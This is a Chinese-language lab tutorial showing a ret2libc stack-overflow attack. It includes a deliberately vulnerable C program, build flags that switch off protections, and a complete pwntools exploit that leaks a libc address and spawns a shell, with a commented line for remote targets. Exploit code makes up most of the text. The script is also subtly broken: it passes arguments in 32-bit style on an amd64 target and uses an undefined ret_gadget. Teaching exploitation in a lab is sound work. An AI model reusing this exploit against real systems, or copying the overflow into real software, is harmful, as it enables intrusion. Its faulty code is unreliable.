3. 栈溢出利用

任务目标

本案例通过一个存在栈溢出漏洞的程序,演示 ret2libc 攻击的完整流程:首先泄露 libc 中某个函数的真实地址,据此计算 libc 基址,进而得到 system 函数与 /bin/sh 字符串的地址,最终劫持控制流执行 system("/bin/sh") 获取 shell。

环境与依赖

  • Ubuntu 20.04+(x86_64),关闭 ASLR 或使用 setarch -R 运行
  • Python 3 + pwntools:pip install pwntools
  • GCC 编译(关闭栈保护、PIE):gcc -no-pie -fno-stack-protector -o vuln vuln.c

漏洞程序(vuln.c)

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void vuln() {
    char buf[64];
    read(0, buf, 0x200);  // 栈溢出:允许读入 512 字节
}

int main() {
    setbuf(stdout, NULL);
    puts("Input:");
    vuln();
    return 0;
}

攻击脚本(exploit.py)

from pwn import *

context.arch = 'amd64'
context.log_level = 'error'

# 远程或本地
p = process('./vuln')
# p = remote('target', 1337)

elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# 需要泄露的 GOT 表项(puts 已被调用过,地址已解析)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln_addr = elf.symbols['vuln']

# 第一阶段:调用 puts(puts_got) 泄露地址,然后返回 vuln 再次溢出
payload1 = b'A' * 72          # 覆盖 buf(64) + rbp(8)
payload1 += p64(puts_plt)     # 返回地址 → puts@plt
payload1 += p64(vuln_addr)    # puts 返回地址 → vuln
payload1 += p64(puts_got)     # puts 参数 → GOT 表项

p.recvuntil(b'Input:\n')
p.send(payload1)

# 接收泄露的 puts 地址(6 字节,补零到 8 字节)
leak = p.recvline().strip().ljust(8, b'\x00')
puts_addr = u64(leak)
log.info(f'puts addr: {hex(puts_addr)}')

# 计算 libc 基址
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.info(f'libc base: {hex(libc_base)}')
log.info(f'system: {hex(system_addr)}')
log.info(f'/bin/sh: {hex(binsh_addr)}')

# 第二阶段:再次溢出,调用 system("/bin/sh")
payload2 = b'B' * 72
payload2 += p64(ret_gadget)   # 栈对齐(若需要)
payload2 += p64(system_addr)
payload2 += p64(0xdeadbeef)   # system 返回地址(随意)
payload2 += p64(binsh_addr)

p.recvuntil(b'Input:\n')
p.send(payload2)

p.interactive()

关键说明

  • 偏移量 72:buf[64] + 保存的 rbp(8 字节)= 72 字节后到达返回地址。
  • 栈对齐:Ubuntu 20.04 的 libc 中 system 使用 movaps 指令,要求栈 16 字节对齐。若执行报错,在 system 前插入一个 ret gadget(如 0x40101a,可用 ROPgadget --binary ./vuln | grep ret 查找)。
  • ASLR:若系统开启 ASLR,需用 setarch $(uname -m) -R ./vuln 运行,或直接攻击远程(远程同样泄露后计算)。

运行与验证

# 编译
gcc -no-pie -fno-stack-protector -o vuln vuln.c

# 运行攻击(本地)
python3 exploit.py

# 若需关闭 ASLR 运行
setarch $(uname -m) -R ./vuln

通过条件:脚本执行后进入交互模式,输入 ls、whoami 等命令能正常执行并返回输出,即表示成功获取 shell。

常见问题

  • 泄露地址为 0x7f... 但计算错误:确认本地 libc 路径与远程一致,或使用 libc-database 匹配远程版本。
  • 第二次溢出崩溃:检查栈对齐,添加 ret gadget;确认 /bin/sh 地址搜索正确。
  • 无法接收泄露数据:puts 输出后换行,用 recvline 接收;若程序有额外输出,调整接收逻辑。